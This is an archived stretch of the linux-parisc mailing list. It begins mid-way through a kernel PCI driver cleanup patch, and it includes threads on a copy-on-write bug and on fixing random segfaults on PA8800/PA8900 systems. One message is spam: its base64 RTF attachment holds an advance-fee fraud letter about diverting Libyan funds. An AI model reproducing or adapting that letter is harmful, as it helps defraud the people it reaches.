@@ -478,14 +478,12 @@ dino_card_setup(struct pci_bus *bus, void __iomem *base_addr)
 	if (ccio_allocate_resource(dino_dev->hba.dev, res, _8MB,
 				F_EXTEND(0xf0000000UL) | _8MB,
 				F_EXTEND(0xffffffffUL) &~ _8MB, _8MB) < 0) {
-		struct list_head *ln, *tmp_ln;
+		struct pci_dev *dev, *tmp;
 
 		printk(KERN_ERR "Dino: cannot attach bus %s\n",
 		       dev_name(bus->bridge));
 		/* kill the bus, we can't do anything with it */
-		list_for_each_safe(ln, tmp_ln, &bus->devices) {
-			struct pci_dev *dev = pci_dev_b(ln);
-
+		list_for_each_entry_safe(dev, tmp, &bus->devices, bus_list) {
 			list_del(&dev->bus_list);
 		}
 			
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..f0b00f8 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -630,7 +630,7 @@ truncate_pat_collision(struct resource *root, struct resource *new)
 static void
 lba_fixup_bus(struct pci_bus *bus)
 {
-	struct list_head *ln;
+	struct pci_dev *dev;
 #ifdef FBB_SUPPORT
 	u16 status;
 #endif
@@ -712,9 +712,8 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	}
 
-	list_for_each(ln, &bus->devices) {
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		int i;
-		struct pci_dev *dev = pci_dev_b(ln);
 
 		DBG("lba_fixup_bus() %s\n", pci_name(dev));
 
@@ -793,7 +792,7 @@ lba_fixup_bus(struct pci_bus *bus)
 	}
 
 	/* Lastly enable FBB/PERR/SERR on all devices too */
-	list_for_each(ln, &bus->devices) {
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		(void) pci_read_config_word(dev, PCI_COMMAND, &status);
 		status |= PCI_COMMAND_PARITY | PCI_COMMAND_SERR | fbb_enable;
 		(void) pci_write_config_word(dev, PCI_COMMAND, status);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. William Cole" <WilliamCole@yahoo.com>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: LET US WORK TOGETHER
Date: Mon, 19 Dec 2011 05:39:57 -0800
Lines: 114
Approved: news@gmane.org
Message-ID: <20111219133946.C42764B008B__11129.3038739406$1324302733$gmane$org@tupu.netikka.net>
Reply-To: <cole.william2010@yahoo.es>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0026_01C2A9A6.2A89A7C6"
X-Trace: dough.gmane.org 1324302733 28510 80.91.229.12 (19 Dec 2011 13:52:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 19 Dec 2011 13:52:13 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 19 14:52:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RcddR-0006v7-G5
	for glpp-linux-parisc@lo.gmane.org; Mon, 19 Dec 2011 14:52:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753097Ab1LSNvz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 19 Dec 2011 08:51:55 -0500
Original-Received: from mbox2.netikka.net ([213.250.81.203]:52070 "EHLO
	mbox2.netikka.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752739Ab1LSNvx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 19 Dec 2011 08:51:53 -0500
X-Greylist: delayed 489 seconds by postgrey-1.27 at vger.kernel.org; Mon, 19 Dec 2011 08:51:52 EST
Original-Received: from tupu.netikka.net (tupu [172.16.83.90])
	by mbox2-feedback.netikka.net (Postfix) with ESMTP id C62A113603F;
	Mon, 19 Dec 2011 15:39:57 +0200 (EET)
Original-Received: from mauant04 (unknown [81.19.35.170])
	by tupu.netikka.net (Postfix) with ESMTPA id C42764B008B;
	Mon, 19 Dec 2011 15:39:46 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.6 points;
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?81.19.35.170>]
 *  0.6 RCVD_IN_SORBS_WEB RBL: SORBS: sender is a abuseable web server
 *      [81.19.35.170 listed in dnsbl.sorbs.net]
 *  2.1 SUBJ_ALL_CAPS Subject is all capitals
 *  0.0 BAYES_50 BODY: Bayesian spam probability is 40 to 60%
 *      [score: 0.4919]
 *  0.8 MSOE_MID_WRONG_CASE MSOE_MID_WRONG_CASE
 *  3.1 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
Xref: news.gmane.org gmane.spam.detected:4923262 gmane.linux.ports.parisc:4082
Archived-At: <http://permalink.gmane.org/gmane.spam.detected/4923262>

This is a multi-part message in MIME format.

------=_NextPart_000_0026_01C2A9A6.2A89A7C6
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: 7bit

To ensure that you get this message
I have attached a file to this mail. 
Please ensure you read the attached file
and reply as soon as possible

------=_NextPart_000_0026_01C2A9A6.2A89A7C6
Content-Type: application/octet-stream;
	name="LET US WORK TOGETHER.rtf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="LET US WORK TOGETHER.rtf"

e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZGVmZjBcZGVmbGFuZzEwMzN7XGZv
bnR0Ymx7XGYwXGZzd2lzc1xmcHJxMlxmY2hhcnNldDAgQ2FsaWJyaTt9e1xm
MVxmc3dpc3NcZmNoYXJzZXQwIEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVk
MFxncmVlbjBcYmx1ZTI1NTt9DQp7XCpcZ2VuZXJhdG9yIE1zZnRlZGl0IDUu
NDEuMjEuMjUwOTt9XHZpZXdraW5kNFx1YzFccGFyZFxzYTIwMFxzbDI3Nlxz
bG11bHQxXGJcZjBcZnMyMlxwYXINClxiMCBEZWFyIEZyaWVuZCxccGFyDQpc
cGFyDQpccGFyDQpccGFyDQpccGFyDQpcYlxwYXINClxiMCBNeSBuYW1lIGlz
IG5hbWUgaXMgRHIuIFdpbGxpYW0gQ29sZSwgYSBCcml0aXNoIG5hdGlvbmFs
IGFuZCBhbiBpbnZlc3RtZW50IGNvbnN1bHRhbnQgYXR0YWNoZWQgdG8gdGhl
IExpYnlhbiBpbnZlc3RtZW50IEF1dGhvcml0eSAoTElBKS5ccGFyDQpccGFy
DQpccGFyDQpccGFyDQpccGFyDQogSSBzdGFydGVkIHdvcmtpbmcgZm9yIHRo
ZSBMaWJ5YW4gZ292ZXJubWVudCB1bmRlciB0aGUgbGVhZGVyc2hpcCBvZiBN
dWFtbWFyIE11aGFtbWFkIGFsLUdhZGRhZmkgc2luY2UgdGhlIGJlZ2lubmlu
ZyBvZiAyMDAwIGFuZCBoYXZlIGFycmFuZ2VkIHNvIG1hbnkgZGVhbHMgYmV0
d2VlbiB0aGUgZ292ZXJubWVudCBhbmQgdGhlIGludGVybmF0aW9uYWwgcGFy
dG5lcnMgYnV0IGR1ZSB0byB0aGUgb25nb2luZyBjcmlzaXMgaW4gdGhlIGNv
dW50cnkgSSBkZWNpZGVkIHRvIHF1aXQgbXkgam9iIGFuZCByZXR1cm4gdG8g
bXkgaG9tZSBjb3VudHJ5IEVuZ2xhbmQgYmVjYXVzZSBJIGFtIG5vdCBpbiBz
dXBwb3J0IG9mIHRoZSBMaWJ5YW4gbGVhZGVyIE11YW1tYXIgTXVoYW1tYWQg
YWwtR2FkZGFmaSBkdWUgdG8gaGlzIGNyYWNrIGRvd24gb24gdGhlIG9wcG9z
aXRpb24uIFxwYXINClxwYXINClxwYXINClxwYXINClxwYXINClRoZXJlIGFy
ZSBzb21lIGZ1bmRzIHdoaWNoIEkgd2FzIGRpcmVjdGVkIHRvIG1vdmUgdG8g
bmVpZ2hib3JpbmcgR2hhbmEgYXQgdGhlIGJlZ2lubmluZyBvZiB0aGUgdXBy
aXNpbmcgZm9yIGZ1cnRoZXIgdHJhbnNmZXIgdG8gQ2hpbmEgZm9yIHRoZSBw
dXJjaGFzZSBvZiBhcm1zIHRvIGJlIHVzZWQgaW4gdGhlIG9uZ29pbmcgd2Fy
IGluIHRoZSBMaWJ5YS4gXHBhcg0KXHBhcg0KXHBhcg0KXHBhcg0KXHBhcg0K
VGhlIGZ1bmRzIHdoaWNoIEkgc3VjY2VlZGVkIGluIG1vdmluZyB0aHJvdWdo
IGEgY2xhbmRlc3RpbmUgYXJyYW5nZW1lbnQgdG8gYSBwcml2YXRlIGZpbmFu
Y2UgY29tcGFueSBpbiBHaGFuYSBpcyBub3cgZGVwb3NpdGVkIHRoZXJlIHdh
aXRpbmcgZm9yIG15IGZ1cnRoZXIgaW5zdHJ1Y3Rpb24gZm9yIG9ud2FyZCB0
cmFuc2ZlciB0byBjaGluYSBmb3IgdGhlIHB1cmNoYXNlIG9mIHRoZSBhcm1z
IGFuZCBhbW11bml0aW9ucyBmcm9tIGFuIGFybXMgbWFudWZhY3R1cmluZyBj
b21wYW55IGluIENoaW5hIGJ1dCBJIG5vdyBkZWNpZGVkIHRvIGxlYXZlIHRo
ZSBjb3VudHJ5IHdpdGggdGhlIHdob2xlIGRvY3VtZW50cyByZWxhdGluZyB0
byB0aGlzIGZ1bmRzIGFzIHRoZSBMaWJ5YW4gbGVhZGVyIE11aGFtbWFkIGFs
LUdhZGRhZmkgaGFzIGJlZW4gdG9wcGxlZCBhbmQga2lsbGVkIGJ5IHRoZSBy
ZWJlbCBzLiBccGFyDQpccGFyDQpccGFyDQpccGFyDQpccGFyDQpJIHNhdyB0
aGlzIGFzIGFuIG9wcG9ydHVuaXR5IHRvIGRpdmVydCB0aGlzIGZ1bmQgZm9y
IG91ciBwZXJzb25hbCB1c2Ugc2luY2UgSSBoYXZlIHRoZSB3aG9sZSBkb2N1
bWVudHMgYmVjYXVzZSB0d28gb2YgbXkgY29sbGVhZ3VlcywgdGhlIGRlZmVu
c2UgY2hpZWYgQWJ1IEJha3IgWXVuaXMgYW5kIEdoYWRhZmlccnF1b3RlIHMg
c29uIHdobyBhcmUgYXdhcmUgb2YgdGhpcyBkZXBvc2l0IHdlcmUgYWxsIGtp
bGxlZCB0aGUgcmViZWwgZm9yY2VzIHRvZ2V0aGVyIHdpdGggR2hhZGFmaSB3
aGVuIHRoZWlyIGNvbnZveSB3YXMgYXR0YWNoZWQgYnkgTlRPIHdhciBwbGFu
ZS4gSSBhbSBjdXJyZW50bHkgaW4gbXkgbmF0aXZlIGNvdW50cnkgRW5nbGFu
ZCB3YWl0aW5nIGZvciBhIHJlbGlhYmxlIHBhcnRuZXIgb24gd2hvc2UgbmFt
ZSB0aGlzIGZ1bmQgc2hhbGwgYmUgdHJhbnNmZXJyZWQgc2luY2UgSSBhbSBp
biBwb3NzZXNzaW9uIG9mIGFsbCB0aGUgZG9jdW1lbnRzLlxwYXINClxwYXIN
ClxwYXINClxwYXINClxwYXINCiBJIHdpbGwgcGVyc29uYWxseSBmYWNpbGl0
YXRlIHRoZSByZWxlYXNlIG9mIHRoaXMgZnVuZCBhbmQgaGF2ZSBpdCBtb3Zl
ZCB0byB5b3VyIG5vbWluYXRlZCBhY2NvdW50IGFueXdoZXJlIGFyb3VuZCB0
aGUgZ2xvYmUuIFxwYXINClxwYXINClxwYXINClxwYXINClxwYXINCkkgd2ls
bCBiZSBhYmxlIHRvIGRvIHRoaXMgYmVjYXVzZSBJIHdhcyB0aGUgb25lIHRo
YXQgb3JjaGVzdHJhdGVkIHRoZSBtb3ZlbWVudCBvZiB0aGlzIGZ1bmQgb3V0
IG9mIExpYnlhIHRvIEdoYW5hIHRoZXJlZm9yZSBpcyBpbiBwb3NzZXNzaW9u
IG9mIGFsbCB0aGUgcGFwZXJzIHRvIHRoYXQgZWZmZWN0LiBccGFyDQpccGFy
DQpccGFyDQpccGFyDQpccGFyDQpccGFyDQpccGFyZCBGdXJ0aGVyIGRldGFp
bHMgc2hhbGwgYmUgZ2l2ZW4gdG8geW91IHVwb24gdGhlIHJlY2VpcHQgb2Yg
eW91ciBpbnRlcmVzdCB0byB3b3JrIHdpdGggbWUgb24gdGhpcyBwcm9qZWN0
IHNvIHRoYXQgd2UgY2FuIHN1Y2Nlc3NmdWxseSBtb3ZlIHRoaXMgZnVuZCB0
byB5b3VyIG5vbWluYXRlZCBhY2NvdW50LlxwYXINClxwYXINClxwYXINClxw
YXINClxwYXINClxwYXINClxwYXINCiBBbGwgYXJyYW5nZW1lbnQgaGFzIGJl
ZW4gY29uY2x1ZGVkIGZvciB0aGUgc3VjY2Vzc2Z1bCBjb25jbHVzaW9uIG9m
IHRoZSByZWxlYXNlL3RyYW5zZmVyIG9mIHRoaXMgZnVuZCBpbiB5b3VyIG5h
bWUuIFxwYXINClxwYXINClxwYXINClxwYXINClxwYXINClxwYXINCkdvIHRv
IGh0dHA6Ly9zYWhhcmFyZXBvcnRlcnMuY29tL3ByZXNzLXJlbGVhc2UvbmV3
LWxlYWtlZC1kb2N1bWVudC1yZXZlYWxzLWhzYmMtaGVsZC0xNGJuLWxpYnlh
bi1mdW5kcyBccGFyDQpodHRwOi8vd2ViY2FjaGUuZ29vZ2xldXNlcmNvbnRl
bnQuY29tL3NlYXJjaD9obD1lbiZnc19zbT1zJmdzX3VwbD0xMTYyNTgxbDEx
NzQ3NDlsMGwxMTc2NjIybDM3bDMxbDFsOGwwbDJsMTE1Mmw0MDk2bDYtMS4z
bDRsMCZxPWNhY2hlOnNZeGh6RTAxREo4SjpodHRwOi8vd3d3LmJiYy5jby51
ay9uZXdzL3dvcmxkLWFmcmljYS0xNTM4OTU1MCtiYmMrbmV3cytyZXBvcnRz
K2RlYXRoK29mK2dhZGRhZmkmY3Q9Y2xuayBccGFyDQpodHRwOi8vd3d3LmJi
Yy5jby51ay9uZXdzL3dvcmxkLWFmcmljYS0xNTM5MDk4MCAgIGZvciBtb3Jl
IGRldGFpbHMuXHBhcg0KXHBhcg0KXHBhcg0KXHBhcg0KXHBhcg0KXHBhcg0K
XHBhcg0KXHBhcg0KUGxlYXNlIHRoaXMgaXMgaGlnaGx5IGNsYXNzaWZpZWQg
aW5mb3JtYXRpb24gdGhlcmVmb3JlIEkgYWR2aXNlIHRoYXQgeW91IGtlZXAg
aXQgdG8geW91cnNlbGYuIEkgc2hhbGwgYmUgd2lsbGluZyB0byBtZWV0IHdp
dGggeW91IGFueXdoZXJlIGluIEV1cm9wZSBvciBwb3NzaWJseSBBZnJpY2Eg
YnV0IGF0IHRoZSBtb21lbnQgSSBhbSBjdXJyZW50bHkgaW4gbXkgRW5nbGFu
ZC4gR2V0IGJhY2sgdG8gbWUgb24gdGhpcyBlbWFpbDogXHVsIHcuY29sZTIw
MDlAaG90bWFpbC5jb21cdWxub25lICBpZiB5b3UgYXJlIGludGVyZXN0ZWQg
c28gdGhhdCB3ZSBjYW4gcHJvY2VlZC4gIFxwYXINClxwYXINClxwYXINClxw
YXINClxwYXINClxwYXINCldlIHdpbGwgZGlzY3VzcyB0aGUgc2hhcmluZyBy
YXRpbyBvbmNlIEkgaGVhciBmcm9tIHlvdSBiZWNhdXNlIHlvdSB3aWxsIHBs
YXkgYSB2aXRhbCByb2xlIHRvIHRoZSBzdWNjZXNzIG9mIHRoaXMgYnVzaW5l
c3MuXHBhcg0KUmVnYXJkc1xwYXINCkRyLiBXaWxsaWFtIENvbGVccGFyDQpc
ZjFcZnMyMFxwYXINCn0NCgA=

------=_NextPart_000_0026_01C2A9A6.2A89A7C6--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: LWS, futex and pthread problems
Date: Tue, 20 Dec 2011 09:54:51 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <4EF0A1BB.1040104@bell.net>
References: <BLU0-SMTP30032FA977F6BD78D6AF2797A60@phx.gbl> <CADZpyixc_6SZF7ehLTV65eNURmUgmQFvN_vwX6wDKO7RUDDBXQ@mail.gmail.com> <BLU0-SMTP27DC0B7C2C7D265788CE2A97A60@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1324394211 16622 80.91.229.12 (20 Dec 2011 15:16:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Dec 2011 15:16:51 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 20 16:16:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rd1Qs-0007JL-IL
	for glpp-linux-parisc@lo.gmane.org; Tue, 20 Dec 2011 16:16:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752326Ab1LTPQp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Dec 2011 10:16:45 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:57834 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752183Ab1LTPQp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Dec 2011 10:16:45 -0500
X-Greylist: delayed 1311 seconds by postgrey-1.27 at vger.kernel.org; Tue, 20 Dec 2011 10:16:45 EST
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Rd15h-0001tg-33; Tue, 20 Dec 2011 09:54:54 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20111105 Thunderbird/8.0
In-Reply-To: <BLU0-SMTP27DC0B7C2C7D265788CE2A97A60@phx.gbl>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4083>

On 12/18/2011 5:45 PM, John David Anglin wrote:
> Yes.  R4 is also wrong, so it might be a call has corrupted it and 
> then the restore
> corrupts r19.
>
> This rings a bell.  In the old clone/fork bug, there was a cache issue 
> with the stack
> region created for the thread.  It seemed like it got modified after 
> the thread started.
> It must have something to do with the fact that it is allocated by 
> malloc.
I believe COW is broken.  If you look at set_pte_at, you will see that 
the tlb is not
purged for the address after the need value is stored in the page table, 
so the write
protect doesn't take effect immediately.  Thus, a thread can continue 
writing to a
protected page without generating a fault.  Unfortunately, this doesn't 
fix the problem
by itself (tested this morning).

I'm thinking that copy_user_page needs to be done through the tmp alias 
region,
or the user page needs to be flushed before it is copied.  I'm not sure 
how to do the
latter.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Happy New Year PARISC
Date: Sat, 31 Dec 2011 19:02:58 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325376217 12971 80.91.229.12 (1 Jan 2012 00:03:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Jan 2012 00:03:37 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 01 01:03:26 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rh8tU-00076M-FN
	for glpp-linux-parisc@lo.gmane.org; Sun, 01 Jan 2012 01:03:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750773Ab2AAADQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 Dec 2011 19:03:16 -0500
Original-Received: from blu0-omc4-s22.blu0.hotmail.com ([65.55.111.161]:9252 "EHLO
	blu0-omc4-s22.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750721Ab2AAADQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 Dec 2011 19:03:16 -0500
Original-Received: from BLU0-SMTP85 ([65.55.111.136]) by blu0-omc4-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 31 Dec 2011 16:03:15 -0800
X-Originating-IP: [174.92.90.153]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.90.153]) by BLU0-SMTP85.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 31 Dec 2011 16:03:15 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Jan 2012 00:03:15.0108 (UTC) FILETIME=[C2469E40:01CCC818]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4085
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4085>

Hi all,

After a lot of trial and error, I believe that I have resolved the  
random segmentation faults
on SMP PA8800 and PA8900 systems.  This includes the libgomp hpmc's  
which turned
out to be caused by a non-equivalent alias mapping in libattr (I  
hadn't rebuilt the attr
package because there is a build issue with the current version in  
unstable).  This was
hard to find!

I have started working on setting up magnum for buildd.

Happy New Year,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Sun, 1 Jan 2012 22:23:43 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1325485430 26086 80.91.229.12 (2 Jan 2012 06:23:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2012 06:23:50 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 02 07:23:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RhbJB-0000WC-Nr
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Jan 2012 07:23:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750960Ab2ABGXp convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jan 2012 01:23:45 -0500
Original-Received: from mail-tul01m020-f174.google.com ([209.85.214.174]:48839 "EHLO
	mail-tul01m020-f174.google.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750789Ab2ABGXo convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jan 2012 01:23:44 -0500
Original-Received: by obcwo16 with SMTP id wo16so11426542obc.19
        for <linux-parisc@vger.kernel.org>; Sun, 01 Jan 2012 22:23:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc
         :x-system-of-record:content-type:content-transfer-encoding;
        bh=pGuURMXG7mO75sqJpxxxgK875IuXtCRAJJApZjRn59s=;
        b=UDVl/7xK97yjqZYzoabrJFtHZuWi/MdfO3SoMhTn5ZpgxBk8x/POzx6Qr95D0c5bDA
         uBxFa2lK2uEVmOSa8rOA==
Original-Received: by 10.182.1.8 with SMTP id 8mr40723337obi.11.1325485424081;
        Sun, 01 Jan 2012 22:23:44 -0800 (PST)
Original-Received: by 10.182.1.8 with SMTP id 8mr40723331obi.11.1325485423930; Sun, 01
 Jan 2012 22:23:43 -0800 (PST)
Original-Received: by 10.182.41.9 with HTTP; Sun, 1 Jan 2012 22:23:43 -0800 (PST)
In-Reply-To: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>
X-Google-Sender-Auth: BOBJUSXFNu3-9DySmACP3QkEsRk
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4086
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4086>

On Sat, Dec 31, 2011 at 4:02 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> Hi all,
>
> After a lot of trial and error, I believe that I have resolved the ra=
ndom
> segmentation faults
> on SMP PA8800 and PA8900 systems. =C2=A0This includes the libgomp hpm=
c's which
> turned
> out to be caused by a non-equivalent alias mapping in libattr (I hadn=
't
> rebuilt the attr
> package because there is a build issue with the current version in
> unstable). =C2=A0This was
> hard to find!

Wow! Happy New Year!

Well Done!
That must have been incredibly hard to find. It's a bummer the only
way we can find those sorts of things is by unraveling crash dumps. :(

> I have started working on setting up magnum for buildd.

If I can download a bunch of .debs, I'd be happy to install and run
some tests on my j6k.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Mon, 2 Jan 2012 10:12:53 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl> <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
